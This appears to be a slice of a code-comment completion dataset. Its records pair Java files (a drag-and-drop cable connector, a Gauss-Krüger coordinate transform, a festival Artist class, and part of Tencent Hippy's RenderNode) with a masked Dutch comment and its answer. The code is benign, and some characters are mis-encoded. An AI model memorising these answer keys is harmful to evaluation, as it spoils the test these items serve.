Cables.getDragCable().setSelectColor2();
}
module.getDesktopPane().setLayer(Cables.getDragCable(), JLayeredPane.DEFAULT_LAYER.intValue() + 10); // Ietskes hoger
// Debug.println("Connection dragGestureRecognized(source)");
}
public void dragEnter(DragSourceDragEvent e) {
// Debug.println("dragEnter(source)?");
}
public void dragOver(DragSourceDragEvent e) {
// Debug.println("dragOver(source)?");
}
public void dragExit(DragSourceEvent e) {
// Debug.println("Connection dragExit(source)");
}
public void dragDropEnd(DragSourceDropEvent e) {
if (e.getDropSuccess() == false) {
if (moving) {
if (e.getDropAction() == 2) { // rejected by wron connection
module.getModules().getCables().addCable(module.getModuleData().getPoly(), Cables.getTempCable(Cables.getDragCable()));
module.getModules().getCables().redrawCables(module.getModules(), module.getModuleData().getPoly());
}
else { // rejected by 'module' -> delete
module.getModules().getCables().removeCable(Cables.getDragCable(), module.getModuleData().getPoly());
}
}
else {
module.getModules().getCables().removeCable(Cables.getDragCable(), module.getModuleData().getPoly());
}
return;
}
int dropAction = e.getDropAction();
if (dropAction == DnDConstants.ACTION_MOVE) {
// wat te doen als het een move was... etc
}
this.open = false; // dit moet ook in de target gebeuren
}
public void dropActionChanged(DragSourceDragEvent e) {
//Bij het indrukken van Shift en Ctrl
//Debug.println("dropActionChanged(source)");
// DragSourceContext context = e.getDragSourceContext();
// context.setCursor(DragSource.DefaultCopyNoDrop);
}
// --- drop
private boolean isDragOk(DropTargetDragEvent e) {
DataFlavor chosen = null;
// do we need this anymore?
for (int i = 0; i < flavors.length; i++) {
if (e.isDataFlavorSupported(flavors[i])) {
chosen = flavors[i];
break;
}
}
/* if the src does not support any of the Connection flavors */
if (chosen == null) {
return false;
}
// the actions specified when the source
// created the DragGestureRecognizer
int sa = e.getSourceActions(); // Copy or Move
// we're saying that these actions are necessary
if ((sa & dragAction) == 0)
return false;
return true;
}
public void dragEnter(DropTargetDragEvent e) {
// Debug.println("dragEnter(target)");
}
public void dragOver(DropTargetDragEvent e) {
if(!isDragOk(e)) {
e.rejectDrag();
return;
}
int newDragX = e.getLocation().x - Connection.imageWidth;
int newDragY = e.getLocation().y - Connection.imageWidth;
if ((newDragX != oldDragX) || (newDragY != oldDragY)) {
if (Cables.getDragCable() != null) {
Cables.getDragCable().setNewDragWindowLayout((module.getX() + conX) + (newDragX), (module.getY() + conY) + (newDragY));
Cables.getDragCable().repaint();
oldDragX = newDragX;
oldDragY = newDragY;
}
}
e.acceptDrag(dragAction);
}
public void dragExit(DropTargetEvent e)
{
// Debug.println("dragExit(target)");
}
public void dropActionChanged(DropTargetDragEvent e) {
// Debug.println(new Integer(e.getDropAction()).toString());
}
public void drop(DropTargetDropEvent e) {
DataFlavor chosen = null;
if (e.isLocalTransfer() == false) {
// chosen = StringTransferable.plainTextFlavor;
}
else {
for (int i = 0; i < flavors.length; i++)
if (e.isDataFlavorSupported(flavors[i])) {
chosen = flavors[i];
break;
}
}
if (chosen == null) {
e.rejectDrop();
return;
}
// the actions that the source has specified with DragGestureRecognizer
int sa = e.getSourceActions();
if ((sa & dropAction) == 0 ) { // Als een Move op Copy niet mag...
e.rejectDrop();
return;
}
Object data = null;
try {
e.acceptDrop(dropAction);
data = e.getTransferable().getTransferData(chosen);
if (data == null)
throw new NullPointerException();
}
catch (Throwable t) {
t.printStackTrace();
e.dropComplete(false);
return;
}
if (data instanceof Connection) {
Connection con = (Connection) data;
int newColour = 6;
con.endDrag = true;
if (_this.equals(con)) {
e.dropComplete(false);
return;
}
int modIndex = module.getModuleData().getModIndex();
int conModIndex = con.getModule().getModuleData().getModIndex();
if (!moving) {
if (con.input)
Cables.getDragCable().setCableData(conModIndex, con.index, 0, modIndex, index, input?0:1, newColour);
else
Cables.getDragCable().setCableData(modIndex, index, this.input?0:1, conModIndex, con.index, con.input?0:1, newColour);
}
else {
if (Cables.getDragBeginCable())
// if (input) {
// Debug.println("a");
Cables.getDragCable().setCableData(modIndex, index, input?0:1, -1, 0, 0, newColour);
// }
// else {
// Debug.println("b");
// Cables.getDragCable().setCableData(modIndex, index, input?0:1, -1, 0, 0, newColour);
// }
else {
// if (con.input) {
// Debug.println("c");
Cables.getDragCable().setCableData(-1, 0, 0, modIndex, index, input?0:1, newColour);
// }
// else {
// Debug.println("d");
// Cables.getDragCable().setCableData(-1, 0, 0, modIndex, index, input?0:1, newColour);
// }
}
}
// Dragged to other end of cable
if ((Cables.getDragCable().getBeginModule() == Cables.getDragCable().getEndModule()) &&
(Cables.getDragCable().getBeginConnector() == Cables.getDragCable().getEndConnector()) &&
(Cables.getDragCable().getBeginConnectorType() == Cables.getDragCable().getEndConnectorType())) {
e.dropComplete(false);
return;
}
newColour = module.getModules().getCables().checkChain(Cables.getDragCable(), module.getModuleData().getPoly());
if (newColour < 0) // reject cable;
{
e.dropComplete(false);
return;
}
Cables.getDragCable().setColor(newColour);
if (!moving) module.getModules().getCables().addCable(module.getModuleData().getPoly(), Cables.getDragCable());
module.getModules().getCables().redrawCables(module.getModules(), module.getModuleData().getPoly());
}
else {
e.dropComplete(false);
return;
}
e.dropComplete(true);
}
//--- data
public DataFlavor[] getTransferDataFlavors() {
return flavors;
}
public boolean isDataFlavorSupported(DataFlavor targetFlavor) {
// het dataobject (nu zichzelf) krijgt flavours mee van de source.
return true;
}
public synchronized Object getTransferData(DataFlavor flavor) {
// afhankelijk van welke flavour de target(?) graag wil, geven we het juiste terug
// if (flavor.equals(inConnectionFlavor))
// return this;
// if (flavor.equals(outConnectionFlavor))
// return this;
// throw new UnsupportedFlavorException(flavor);
// we vinden alles goed
return this;
}
public String toString() {
return (input?"input ":"output ") + index + " " + getConnectionTypeName() + "(" + type + ") " + name;
}
}
|
118830_15 | /**
* Copyright (C) 2007-2015 52°North Initiative for Geospatial Open Source
* Software GmbH
*
* This program is free software; you can redistribute it and/or modify it
* under the terms of the GNU General Public License version 2 as published
* by the Free Software Foundation.
*
* If the program is linked with libraries which are licensed under one of
* the following licenses, the combination of the program with the linked
* library is not considered a "derivative work" of the program:
*
* - Apache License, version 2.0
* - Apache Software License, version 1.0
* - GNU Lesser General Public License, version 3
* - Mozilla Public License, versions 1.0, 1.1 and 2.0
* - Common Development and Distribution License (CDDL), version 1.0.
*
* Therefore the distribution of the program linked with libraries licensed
* under the aforementioned licenses, is permitted by the copyright holders
* if the distribution is compliant with both the GNU General Public
* icense version 2 and the aforementioned licenses.
*
* This program is distributed in the hope that it will be useful, but
* WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General
* Public License for more details.
*
* Contact: Benno Schmidt & Martin May, 52 North Initiative for Geospatial Open Source
* Software GmbH, Martin-Luther-King-Weg 24, 48155 Muenster, Germany, info@52north.org
*/
package org.n52.v3d.triturus.t3dutil;
import java.util.*;
/**
* @deprecated Use classes from org.n52.v3d.triturus.survey!
*/
public class GKTransform {
//******Konstanten******//
//Ellipsoidparameter f�r BESSEL
static final double a = 6377397.155;
static final double b = 6356078.96282;
static final double a2 = 4.06711944726E13;
static final double b2 = 4.039973978389E13;
static final double e_2 = 6.674372174975E-3; //e_2=e2 Quadr. der
//1.numerische Exzentrizit�t
static final double e2_2 = 0.006719218741582; //e2_=e'2 Quadr. der
//2.numerische Exzentrizit�t
static final double e = 0.08169683087473; // e2 = (a2-b2)/a2
static final double N3 = 0.001674184800972; // n = (a-b)/(a+b)
static final double B0 = 0.8194703840921;
static final double L0 = 0.129845224085;
static final double PI = 3.14159265358979323846;
static final double DEG2RAD = PI / 180.0;
static final double RAD2DEG = 180.0 / PI;
//Lotfu�punkte
static final double E0 = 0.994992124558914; //Konstanten zur Berechnung
static final double F2 = 0.00251127322033324; // der geographischen
static final double F4 = 3.67878644696096E-6; // Breite des
static final double F6 = 7.38044744263472E-9; // Lotfu�punktes
//*******ENDE Konstanten********//
public static double[] ellToGauss(double lon, double lat, int streifen, double[] out) {
//ellip. --> Gauss-Kr�ger
//Quelle: Formelsammlung LVA - NRW, Blatt 1-9,1-10
double rechts, hoch;
if ((out == null) || (out.length < 2))
out = new double[2];
double N2 = a2 / Math.sqrt((a2 * Math.pow (Math.cos (lat), 2.0) + (b2 * Math.pow (Math.sin (lat), 2.0))));
//Querkr�mmungshalbmesser
double t = Math.tan (lat);
double t2 = Math.pow (t,2.0);
double l = lon - (streifen * 3.0 * DEG2RAD);
double l1 = l * Math.cos(lat);
double ETA2 = e2_2 * Math.pow (Math.cos (lat),2.0);
double ETA1 = Math.sqrt(ETA2); //Wurzel aus ETA2
// Formeln nach Hofmann-Wellenhof GPS in der Praxis S. 93
double f1 = ((a + b)/2.0) * ( 1.0 + Math.pow(N3,2.0)/4.0 + Math.pow(N3,4.0)/64.0);
double f2 = - 3.0/2.0 * N3 + 9.0/16.0 * Math.pow(N3,3.0) - 3.0/32.0 * Math.pow(N3,5.0);
double f3 = 15.0/16.0 * Math.pow(N3,2.0) - 15.0/32.0 * Math.pow(N3,4.0);
double f4 = - 35.0/48.0 * Math.pow(N3,3.0) + 105.0/256.0 * Math.pow(N3,5.0);
double f5 = 315.0/512.0 * Math.pow(N3,4.0);
// term1..4 nicht definiert!
double term1, term2, term3, term4;
term1 = f1 * (lat + f2 * Math.sin(2*lat) + f3 * Math.sin(4*lat) + f4 * Math.sin(6*lat) + f5 * Math.sin(8*lat));
term2 = (N2*t) * ((Math.pow(l1,2.0)/2.0) + Math.pow(l1,4.0)/24.0 * (5.0 - t2 + 9.0*ETA2 + 4.0*Math.pow(ETA1,4.0)));
term3 = (N2*t) * ((Math.pow(l1,6.0)/720.0) * (61.0 - 58.0*t2 + Math.pow(t,4.0) + 270.0*ETA2 - 330.0*t2*ETA2));
term4 = (N2*t) * ((Math.pow(l1,8.0)/40320.0) * (1385.0 - 3111.0*t2 + 543.0*Math.pow(t,4.0) - Math.pow(t,6.0)));
hoch = term1 + term2 + term3 + term4;
rechts = N2 * ((l1 + (Math.pow(l1,3.0)/6.0) * (1 - t2 + ETA2) + ((Math.pow(l1,5.0)/120.0) * ((5.0 - 18.0 * t2) + Math.pow(t,4.0) + 14.0 * ETA2 - 58.0 * t2 * ETA2)) + (Math.pow(l1,7.0)/5040.0) * (61.0 - 479.0 * t2 + 179.0 * Math.pow(t,4.0) - Math.pow(t,6.0))));
switch (streifen) {
case 2: rechts += 2500000L; break;
case 3: rechts += 3500000L; break;
case 4: rechts += 4500000L; break;
}
out[0] = rechts;
out[1] = hoch;
return out;
}
public static double[] gaussToEll(double rechts, double hoch, int streifen, double[] out) {
double lon, lat;
if ((out == null) || (out.length < 2))
out = new double[2];
switch (streifen) {
case 2: rechts -= 2500000L; break;
case 3: rechts -= 3500000L; break;
case 4: rechts -= 4500000L; break;
}
double c = a2 / b;
double B0 = hoch / (c * E0);
double Bf = B0 + (F2 * Math.sin(2.0 * B0)) + (F4 * Math.sin(4.0 * B0)) + (F6 * Math.sin(6.0 * B0));
double cos_Bf = Math.cos(Bf);
double tan_Bf = Math.tan(Bf);
double tan_Bf_2 = tan_Bf * tan_Bf;
double tan_Bf_4 = tan_Bf_2 * tan_Bf_2;
double ETA = e2_2 * Math.pow(cos_Bf, 2.0);
double N = c / Math.sqrt(1.0 + ETA); //Querkr�mmungshalbmesser
double y_N = rechts / N;
double s1 = Math.pow(y_N, 2.0) * (1.0 + ETA) / 2.0;
double s2 = Math.pow(y_N, 4.0) * ((5.0 + 3.0 * tan_Bf_2) + 6.0 * ETA * (1.0 - tan_Bf_2)) / 24.0;
double s3 = Math.pow(y_N, 6.0) * (61.0 + 90.0 * tan_Bf_2 + 45.0 * tan_Bf_4) / 720.0;
double DB = - s1 + s2 - s3;
lat = Bf + DB * tan_Bf; //geogr. Breite in Radiant
//L�nge aus GK-Koord.
double DL = y_N - (Math.pow(y_N, 3.0) * (1.0 + 2.0 * tan_Bf_2 + ETA) / 6.0) + Math.pow(y_N, 5.0) * (5.0 + 28.0 * tan_Bf_2 + 24.0 * tan_Bf_4) / 120.0;
lon = (streifen * 3.0 * DEG2RAD) + (DL / cos_Bf); //geogr. L�nge in Rad
out[0] = lon;
out[1] = lat;
return out;
}
public static double[] convertStrip(double rechts_alt, double hoch_alt, int altStreifen, int neuStreifen, double[] rechts_hoch_neu) {
rechts_hoch_neu = gaussToEll(rechts_alt, hoch_alt, altStreifen, rechts_hoch_neu);
rechts_hoch_neu = ellToGauss(rechts_hoch_neu[0], rechts_hoch_neu[1], neuStreifen, rechts_hoch_neu);
return rechts_hoch_neu;
}
// public static void main(String[] args) {
// //GKTransformation gkt = new GKTransformation();
// double[] res = GKTransformation.convertStrip(3500000.0,5600000.0,3,2,null);
// res = GKTransformation.convertStrip(res[0],res[1],2,3,res);
// }
}
| 52North/triturus | src/main/java/org/n52/v3d/triturus/t3dutil/GKTransform.java | 3,059 | //geogr. L�nge in Rad | line_comment | nl | /**
* Copyright (C) 2007-2015 52°North Initiative for Geospatial Open Source
* Software GmbH
*
* This program is free software; you can redistribute it and/or modify it
* under the terms of the GNU General Public License version 2 as published
* by the Free Software Foundation.
*
* If the program is linked with libraries which are licensed under one of
* the following licenses, the combination of the program with the linked
* library is not considered a "derivative work" of the program:
*
* - Apache License, version 2.0
* - Apache Software License, version 1.0
* - GNU Lesser General Public License, version 3
* - Mozilla Public License, versions 1.0, 1.1 and 2.0
* - Common Development and Distribution License (CDDL), version 1.0.
*
* Therefore the distribution of the program linked with libraries licensed
* under the aforementioned licenses, is permitted by the copyright holders
* if the distribution is compliant with both the GNU General Public
* icense version 2 and the aforementioned licenses.
*
* This program is distributed in the hope that it will be useful, but
* WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General
* Public License for more details.
*
* Contact: Benno Schmidt & Martin May, 52 North Initiative for Geospatial Open Source
* Software GmbH, Martin-Luther-King-Weg 24, 48155 Muenster, Germany, info@52north.org
*/
package org.n52.v3d.triturus.t3dutil;
import java.util.*;
/**
* @deprecated Use classes from org.n52.v3d.triturus.survey!
*/
public class GKTransform {
//******Konstanten******//
//Ellipsoidparameter f�r BESSEL
static final double a = 6377397.155;
static final double b = 6356078.96282;
static final double a2 = 4.06711944726E13;
static final double b2 = 4.039973978389E13;
static final double e_2 = 6.674372174975E-3; //e_2=e2 Quadr. der
//1.numerische Exzentrizit�t
static final double e2_2 = 0.006719218741582; //e2_=e'2 Quadr. der
//2.numerische Exzentrizit�t
static final double e = 0.08169683087473; // e2 = (a2-b2)/a2
static final double N3 = 0.001674184800972; // n = (a-b)/(a+b)
static final double B0 = 0.8194703840921;
static final double L0 = 0.129845224085;
static final double PI = 3.14159265358979323846;
static final double DEG2RAD = PI / 180.0;
static final double RAD2DEG = 180.0 / PI;
//Lotfu�punkte
static final double E0 = 0.994992124558914; //Konstanten zur Berechnung
static final double F2 = 0.00251127322033324; // der geographischen
static final double F4 = 3.67878644696096E-6; // Breite des
static final double F6 = 7.38044744263472E-9; // Lotfu�punktes
//*******ENDE Konstanten********//
public static double[] ellToGauss(double lon, double lat, int streifen, double[] out) {
//ellip. --> Gauss-Kr�ger
//Quelle: Formelsammlung LVA - NRW, Blatt 1-9,1-10
double rechts, hoch;
if ((out == null) || (out.length < 2))
out = new double[2];
double N2 = a2 / Math.sqrt((a2 * Math.pow (Math.cos (lat), 2.0) + (b2 * Math.pow (Math.sin (lat), 2.0))));
//Querkr�mmungshalbmesser
double t = Math.tan (lat);
double t2 = Math.pow (t,2.0);
double l = lon - (streifen * 3.0 * DEG2RAD);
double l1 = l * Math.cos(lat);
double ETA2 = e2_2 * Math.pow (Math.cos (lat),2.0);
double ETA1 = Math.sqrt(ETA2); //Wurzel aus ETA2
// Formeln nach Hofmann-Wellenhof GPS in der Praxis S. 93
double f1 = ((a + b)/2.0) * ( 1.0 + Math.pow(N3,2.0)/4.0 + Math.pow(N3,4.0)/64.0);
double f2 = - 3.0/2.0 * N3 + 9.0/16.0 * Math.pow(N3,3.0) - 3.0/32.0 * Math.pow(N3,5.0);
double f3 = 15.0/16.0 * Math.pow(N3,2.0) - 15.0/32.0 * Math.pow(N3,4.0);
double f4 = - 35.0/48.0 * Math.pow(N3,3.0) + 105.0/256.0 * Math.pow(N3,5.0);
double f5 = 315.0/512.0 * Math.pow(N3,4.0);
// term1..4 nicht definiert!
double term1, term2, term3, term4;
term1 = f1 * (lat + f2 * Math.sin(2*lat) + f3 * Math.sin(4*lat) + f4 * Math.sin(6*lat) + f5 * Math.sin(8*lat));
term2 = (N2*t) * ((Math.pow(l1,2.0)/2.0) + Math.pow(l1,4.0)/24.0 * (5.0 - t2 + 9.0*ETA2 + 4.0*Math.pow(ETA1,4.0)));
term3 = (N2*t) * ((Math.pow(l1,6.0)/720.0) * (61.0 - 58.0*t2 + Math.pow(t,4.0) + 270.0*ETA2 - 330.0*t2*ETA2));
term4 = (N2*t) * ((Math.pow(l1,8.0)/40320.0) * (1385.0 - 3111.0*t2 + 543.0*Math.pow(t,4.0) - Math.pow(t,6.0)));
hoch = term1 + term2 + term3 + term4;
rechts = N2 * ((l1 + (Math.pow(l1,3.0)/6.0) * (1 - t2 + ETA2) + ((Math.pow(l1,5.0)/120.0) * ((5.0 - 18.0 * t2) + Math.pow(t,4.0) + 14.0 * ETA2 - 58.0 * t2 * ETA2)) + (Math.pow(l1,7.0)/5040.0) * (61.0 - 479.0 * t2 + 179.0 * Math.pow(t,4.0) - Math.pow(t,6.0))));
switch (streifen) {
case 2: rechts += 2500000L; break;
case 3: rechts += 3500000L; break;
case 4: rechts += 4500000L; break;
}
out[0] = rechts;
out[1] = hoch;
return out;
}
public static double[] gaussToEll(double rechts, double hoch, int streifen, double[] out) {
double lon, lat;
if ((out == null) || (out.length < 2))
out = new double[2];
switch (streifen) {
case 2: rechts -= 2500000L; break;
case 3: rechts -= 3500000L; break;
case 4: rechts -= 4500000L; break;
}
double c = a2 / b;
double B0 = hoch / (c * E0);
double Bf = B0 + (F2 * Math.sin(2.0 * B0)) + (F4 * Math.sin(4.0 * B0)) + (F6 * Math.sin(6.0 * B0));
double cos_Bf = Math.cos(Bf);
double tan_Bf = Math.tan(Bf);
double tan_Bf_2 = tan_Bf * tan_Bf;
double tan_Bf_4 = tan_Bf_2 * tan_Bf_2;
double ETA = e2_2 * Math.pow(cos_Bf, 2.0);
double N = c / Math.sqrt(1.0 + ETA); //Querkr�mmungshalbmesser
double y_N = rechts / N;
double s1 = Math.pow(y_N, 2.0) * (1.0 + ETA) / 2.0;
double s2 = Math.pow(y_N, 4.0) * ((5.0 + 3.0 * tan_Bf_2) + 6.0 * ETA * (1.0 - tan_Bf_2)) / 24.0;
double s3 = Math.pow(y_N, 6.0) * (61.0 + 90.0 * tan_Bf_2 + 45.0 * tan_Bf_4) / 720.0;
double DB = - s1 + s2 - s3;
lat = Bf + DB * tan_Bf; //geogr. Breite in Radiant
//L�nge aus GK-Koord.
double DL = y_N - (Math.pow(y_N, 3.0) * (1.0 + 2.0 * tan_Bf_2 + ETA) / 6.0) + Math.pow(y_N, 5.0) * (5.0 + 28.0 * tan_Bf_2 + 24.0 * tan_Bf_4) / 120.0;
lon = (streifen * 3.0 * DEG2RAD) + (DL / cos_Bf); //geogr. L�nge<SUF>
out[0] = lon;
out[1] = lat;
return out;
}
public static double[] convertStrip(double rechts_alt, double hoch_alt, int altStreifen, int neuStreifen, double[] rechts_hoch_neu) {
rechts_hoch_neu = gaussToEll(rechts_alt, hoch_alt, altStreifen, rechts_hoch_neu);
rechts_hoch_neu = ellToGauss(rechts_hoch_neu[0], rechts_hoch_neu[1], neuStreifen, rechts_hoch_neu);
return rechts_hoch_neu;
}
// public static void main(String[] args) {
// //GKTransformation gkt = new GKTransformation();
// double[] res = GKTransformation.convertStrip(3500000.0,5600000.0,3,2,null);
// res = GKTransformation.convertStrip(res[0],res[1],2,3,res);
// }
}
|
60706_14 | package data;
import java.io.Serializable;
// Klasse om een artiest te vertegenwoordigen, implementeert Serializable zodat objecten kunnen worden omgezet in een stroom van bytes voor serialisatie
public class Artist implements Serializable {
private String name; // Naam van de artiest
private int popularity; // Populariteit van de artiest
private String genre; // Genre van de artiest
private String artistInfo; // Informatie over de artiest
// Constructor voor het maken van een artiest met opgegeven naam, populariteit en genre
public Artist(String name, int popularity, String genre) {
this.name = name; // Wijs de opgegeven naam toe aan de artiest
this.popularity = popularity; // Wijs de opgegeven populariteit toe aan de artiest
this.genre = genre; // Wijs het opgegeven genre toe aan de artiest
this.artistInfo = ""; // Initialiseer de informatie over de artiest als leeg
}
// Constructor voor het maken van een artiest met opgegeven naam, populariteit, genre en artiestinformatie
public Artist(String name, int popularity, String genre, String artistInfo){
this.name = name; // Wijs de opgegeven naam toe aan de artiest
this.popularity = popularity; // Wijs de opgegeven populariteit toe aan de artiest
this.genre = genre; // Wijs het opgegeven genre toe aan de artiest
this.artistInfo = artistInfo; // Wijs de opgegeven artiestinformatie toe aan de artiest
}
// Getter voor de naam van de artiest
public String getName() {
return name; // Geeft de naam van de artiest terug
}
// Setter voor de naam van de artiest
public void setName(String name) {
this.name = name; // Wijs de opgegeven naam toe aan de artiest
}
// Getter voor de populariteit van de artiest
public int getPopularity() {
return popularity; // Geeft de populariteit van de artiest terug
}
// Setter voor de populariteit van de artiest
public void setPopularity(int popularity) {
this.popularity = popularity; // Wijs de opgegeven populariteit toe aan de artiest
}
// Getter voor het genre van de artiest
public String getGenre() {
return genre; // Geeft het genre van de artiest terug
}
// Setter voor het genre van de artiest
public void setGenre(String genre) {
this.genre = genre; // Wijs het opgegeven genre toe aan de artiest
}
// Getter voor de artiestinformatie
public String getArtistInfo() {
return artistInfo; // Geeft de artiestinformatie terug
}
// Setter voor de artiestinformatie
public void setArtistInfo(String artistInfo) {
this.artistInfo = artistInfo; // Wijs de opgegeven artiestinformatie toe aan de artiest
}
// Override van de toString-methode om de naam van de artiest terug te geven als een String
@Override
public String toString() {
return getName(); // Geeft de naam van de artiest terug
}
} | 589Hours/FestivalPlanner | src/data/Artist.java | 818 | // Wijs de opgegeven artiestinformatie toe aan de artiest | line_comment | nl | package data;
import java.io.Serializable;
// Klasse om een artiest te vertegenwoordigen, implementeert Serializable zodat objecten kunnen worden omgezet in een stroom van bytes voor serialisatie
public class Artist implements Serializable {
private String name; // Naam van de artiest
private int popularity; // Populariteit van de artiest
private String genre; // Genre van de artiest
private String artistInfo; // Informatie over de artiest
// Constructor voor het maken van een artiest met opgegeven naam, populariteit en genre
public Artist(String name, int popularity, String genre) {
this.name = name; // Wijs de opgegeven naam toe aan de artiest
this.popularity = popularity; // Wijs de opgegeven populariteit toe aan de artiest
this.genre = genre; // Wijs het opgegeven genre toe aan de artiest
this.artistInfo = ""; // Initialiseer de informatie over de artiest als leeg
}
// Constructor voor het maken van een artiest met opgegeven naam, populariteit, genre en artiestinformatie
public Artist(String name, int popularity, String genre, String artistInfo){
this.name = name; // Wijs de opgegeven naam toe aan de artiest
this.popularity = popularity; // Wijs de opgegeven populariteit toe aan de artiest
this.genre = genre; // Wijs het opgegeven genre toe aan de artiest
this.artistInfo = artistInfo; // Wijs de<SUF>
}
// Getter voor de naam van de artiest
public String getName() {
return name; // Geeft de naam van de artiest terug
}
// Setter voor de naam van de artiest
public void setName(String name) {
this.name = name; // Wijs de opgegeven naam toe aan de artiest
}
// Getter voor de populariteit van de artiest
public int getPopularity() {
return popularity; // Geeft de populariteit van de artiest terug
}
// Setter voor de populariteit van de artiest
public void setPopularity(int popularity) {
this.popularity = popularity; // Wijs de opgegeven populariteit toe aan de artiest
}
// Getter voor het genre van de artiest
public String getGenre() {
return genre; // Geeft het genre van de artiest terug
}
// Setter voor het genre van de artiest
public void setGenre(String genre) {
this.genre = genre; // Wijs het opgegeven genre toe aan de artiest
}
// Getter voor de artiestinformatie
public String getArtistInfo() {
return artistInfo; // Geeft de artiestinformatie terug
}
// Setter voor de artiestinformatie
public void setArtistInfo(String artistInfo) {
this.artistInfo = artistInfo; // Wijs de opgegeven artiestinformatie toe aan de artiest
}
// Override van de toString-methode om de naam van de artiest terug te geven als een String
@Override
public String toString() {
return getName(); // Geeft de naam van de artiest terug
}
} |
73669_5 | /* Tencent is pleased to support the open source community by making Hippy available.
* Copyright (C) 2018 THL A29 Limited, a Tencent company. All rights reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.tencent.renderer.node;
import static com.tencent.renderer.NativeRenderException.ExceptionCode.REUSE_VIEW_HAS_ABANDONED_NODE_ERR;
import android.text.TextUtils;
import android.util.SparseIntArray;
import android.view.View;
import android.view.ViewGroup;
import android.view.ViewParent;
import androidx.annotation.NonNull;
import androidx.annotation.Nullable;
import com.openhippy.pool.BasePool.PoolType;
import com.tencent.mtt.hippy.dom.node.NodeProps;
import com.tencent.mtt.hippy.uimanager.ControllerManager;
import com.tencent.mtt.hippy.uimanager.RenderManager;
import com.tencent.mtt.hippy.utils.LogUtils;
import com.tencent.mtt.hippy.views.view.HippyViewGroupController;
import com.tencent.renderer.NativeRender;
import com.tencent.renderer.NativeRenderException;
import com.tencent.renderer.component.Component;
import com.tencent.renderer.component.ComponentController;
import com.tencent.renderer.component.image.ImageComponent;
import com.tencent.renderer.component.image.ImageComponentController;
import com.tencent.renderer.utils.DiffUtils;
import java.lang.ref.WeakReference;
import java.util.ArrayList;
import java.util.Collections;
import java.util.Comparator;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
public class RenderNode {
private static final String TAG = "RenderNode";
/**
* Mark the layout information of the node to be updated.
*/
public static final int FLAG_UPDATE_LAYOUT = 0x00000001;
/**
* Mark has new extra props of the text node, such as {@link android.text.Layout}
*/
public static final int FLAG_UPDATE_EXTRA = 0x00000002;
/**
* Mark there are new events registered of the node.
*/
public static final int FLAG_UPDATE_EVENT = 0x00000004;
/**
* Mark node need to update node attributes.
*/
public static final int FLAG_UPDATE_TOTAL_PROPS = 0x00000008;
/**
* Mark node has been deleted.
*/
public static final int FLAG_ALREADY_DELETED = 0x00000010;
/**
* Mark node attributes has been updated.
*/
public static final int FLAG_ALREADY_UPDATED = 0x00000020;
/**
* Mark node lazy create host view, such as recycle view item sub views.
*/
public static final int FLAG_LAZY_LOAD = 0x00000040;
/**
* Mark node has attach to host view.
*/
public static final int FLAG_HAS_ATTACHED = 0x00000080;
/**
* Mark should update children drawing order.
*/
public static final int FLAG_UPDATE_DRAWING_ORDER = 0x00000100;
private int mNodeFlags = 0;
private PoolType mPoolInUse = PoolType.NONE;
protected int mX;
protected int mY;
protected int mWidth;
protected int mHeight;
protected final int mId;
protected final int mRootId;
protected final String mClassName;
protected final ArrayList<RenderNode> mChildren = new ArrayList<>();
protected final ArrayList<RenderNode> mChildrenUnattached = new ArrayList<>();
protected final ControllerManager mControllerManager;
@Nullable
protected ArrayList<RenderNode> mDrawingOrder;
@Nullable
protected Map<String, Object> mProps;
@Nullable
protected Map<String, Object> mPropsToUpdate;
@Nullable
protected Map<String, Object> mEvents;
@Nullable
protected RenderNode mParent;
@Nullable
protected Object mExtra;
@Nullable
protected List<RenderNode> mMoveNodes;
@Nullable
protected SparseIntArray mDeletedChildren;
@Nullable
protected Component mComponent;
@Nullable
protected WeakReference<View> mHostViewRef;
public RenderNode(int rootId, int id, @NonNull String className,
@NonNull ControllerManager controllerManager) {
mId = id;
mRootId = rootId;
mClassName = className;
mControllerManager = controllerManager;
}
public RenderNode(int rootId, int id, @Nullable Map<String, Object> props,
@NonNull String className, @NonNull ControllerManager controllerManager,
boolean isLazyLoad) {
mId = id;
mClassName = className;
mRootId = rootId;
mControllerManager = controllerManager;
mProps = props;
mPropsToUpdate = null;
if (isLazyLoad) {
setNodeFlag(FLAG_LAZY_LOAD);
}
}
public int getRootId() {
return mRootId;
}
public int getId() {
return mId;
}
public int getZIndex() {
return mComponent != null ? mComponent.getZIndex() : 0;
}
@NonNull
public ArrayList<RenderNode> getDrawingOrder() {
return mDrawingOrder == null ? mChildren : mDrawingOrder;
}
@Nullable
public Component getComponent() {
return mComponent;
}
@NonNull
public NativeRender getNativeRender() {
return mControllerManager.getNativeRender();
}
@Nullable
public Component ensureComponentIfNeeded(Class<?> cls) {
if (cls == ComponentController.class) {
if (mComponent == null) {
mComponent = new Component(this);
}
} else if (cls == ImageComponentController.class) {
if (mComponent == null) {
mComponent = new ImageComponent(this);
} else if (!(mComponent instanceof ImageComponent)) {
mComponent = new ImageComponent(this, mComponent);
}
}
return mComponent;
}
@Nullable
public RenderNode getParent() {
return mParent;
}
@Nullable
public Object getExtra() {
return mExtra;
}
@Nullable
public Map<String, Object> getProps() {
return mProps;
}
@Nullable
public Map<String, Object> getEvents() {
return mEvents;
}
@NonNull
public String getClassName() {
return mClassName;
}
public int getX() {
return mX;
}
public int getY() {
return mY;
}
public int getWidth() {
return mWidth;
}
public int getHeight() {
return mHeight;
}
public int getChildDrawingOrder(@NonNull RenderNode child) {
return (mDrawingOrder != null) ? mDrawingOrder.indexOf(child) : mChildren.indexOf(child);
}
public int indexFromParent() {
return (mParent != null) ? mParent.mChildren.indexOf(this) : 0;
}
public int indexOfDrawingOrder() {
return (mParent != null) ? mParent.getChildDrawingOrder(this) : 0;
}
protected boolean isRoot() {
return false;
}
public void removeChild(int index) {
try {
removeChild(mChildren.get(index));
} catch (IndexOutOfBoundsException e) {
e.printStackTrace();
}
}
public void resetChildIndex(RenderNode child, int index) {
if (mChildren.contains(child)) {
removeChild(child);
addChild(child, index);
